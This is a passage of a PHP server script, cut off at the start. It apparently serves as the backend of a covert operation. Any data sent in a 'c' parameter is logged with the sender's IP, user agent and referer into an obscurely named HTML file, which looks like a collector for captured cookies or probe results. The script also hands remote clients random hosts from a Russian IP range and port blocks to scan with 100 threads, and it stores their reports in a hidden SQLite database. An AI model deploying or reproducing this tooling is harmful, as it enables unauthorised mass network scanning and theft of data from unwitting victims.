$value){
$content[$key] = stripslashes($value);
}
}else{
$content = stripslashes($content);}
}else{}
return $content;
}
if (!empty($_REQUEST["c"])){
$curtime = date("Y-m-d H:i:s");
$ip = get_real_ip();
$useragent = get_user_agent();
$referer = get_referer();
$data = $_REQUEST["c"];
if(!file_exists("HujGrskagyuasd.html")){
$fp = fopen("HujGrskagyuasd.html", "a+");
fwrite($fp, '
probe data');
fclose($fp);
}
$fp = fopen("HujGrskagyuasd.html", "a+");
fwrite($fp, "".htmlspecialchars(quotes($ip))." | $curtime
UserAgent: ".htmlspecialchars(quotes($useragent))."
Referer: ".htmlspecialchars(quotes($referer))."
DATA: ".htmlspecialchars(quotes($data))."
");
fclose($fp);
}
##########################################################################################
function db_insert($jsonData) {
$db = new SQLite3('./jhasgdkyuasAHLhiahusd.db');
if (!$db) {
die("Connection failed: " . $db->lastErrorMsg());
}
$query = 'CREATE TABLE IF NOT EXISTS scan (id INTEGER PRIMARY KEY, host TEXT, port INTEGER, res TEXT, time_scan DATETIME)';
$db->exec($query);
// Insert data
$time = time();
$host = $jsonData['host'];
$insertOrUpdateQuery = $db->prepare('INSERT OR REPLACE INTO scan (host, port, res, time_scan) VALUES (:host, :port, :res, :time_scan)');
if ($jsonData !== null && isset($jsonData['ports']) && is_array($jsonData['ports'])) {
foreach ($jsonData['ports'] as $port => $res) {
$insertOrUpdateQuery->bindValue(':host', $host, SQLITE3_TEXT);
$insertOrUpdateQuery->bindValue(':port', $port, SQLITE3_INTEGER);
$insertOrUpdateQuery->bindValue(':res', $res, SQLITE3_TEXT);
$insertOrUpdateQuery->bindValue(':time_scan', $time,SQLITE3_INTEGER);
$insertOrUpdateQuery->execute();
}
$db->exec('COMMIT');
$db->close();
}
}
function v4CIDRtoMask($cidr) {
$cidr = explode('/', $cidr);
return array($cidr[0], long2ip(-1 << (32 - (int)$cidr[1])));
}
function ipv4Breakout ($ip_address, $ip_nmask) {
$ip_address_long = ip2long($ip_address);
$ip_nmask_long = ip2long($ip_nmask);
$ip_net = $ip_address_long & $ip_nmask_long;
$ip_host_first = ((~$ip_nmask_long) & $ip_address_long);
$ip_first = ($ip_address_long ^ $ip_host_first) + 1;
$ip_broadcast_invert = ~$ip_nmask_long;
$ip_last = ($ip_address_long | $ip_broadcast_invert) - 1;
$ip_broadcast = $ip_address_long | $ip_broadcast_invert;
$ip_net_short = long2ip($ip_net);
$ip_first_short = long2ip($ip_first);
$ip_last_short = long2ip($ip_last);
$ip_broadcast_short = long2ip($ip_broadcast);
return long2ip(random_int(ip2long($ip_first_short), ip2long($ip_last_short)));
}
function selectIp ($country = 'ru') {
$line = "";
if ($country == 'ru') {
$f_contents = file("ru.cidr");
$line = $f_contents[rand(0, count($f_contents) - 1)];
}
return $line;
}
function sendScanRange() {
$ip_range = selectIp("ru");
if ($ip_range == "") {
exit();
}
$addr=v4CIDRtoMask($ip_range);
$host=ipv4Breakout ($addr[0], $addr[1]);
$p = random_int(0,65);
if ($p == 65) {
$ports_arr = range(65000,65535);
} else if ($p == 0) {
$ports_arr = range(1,1000-1);
} else {
$p1 = $p*1000;
$p2 = ($p+1)*1000 -1;
$ports_arr = range($p1,$p2);
}
shuffle($ports_arr);
$response = [
'scan' => 'true',
'host' => $host,
'scan_max_time' => '500',
'scan_thread' => '100',
];
$ports = ['ports' => $ports_arr];
$response = array_merge($response, $ports);
header('Content-Type: application/json');
echo json_encode($response);
exit();
}
$postData = json_decode(file_get_contents('php://input'), true);
if (isset($postData['data'])) {
if ($postData['data'] == 'false' ) {
sendScanRange();
}
}
if (isset($postData['type'])) {
if ($postData['type'] == 'scan_port') {
db_insert($postData);
http_response_code(200);
echo json_encode('{res:ok}');
}
}
exit();
?>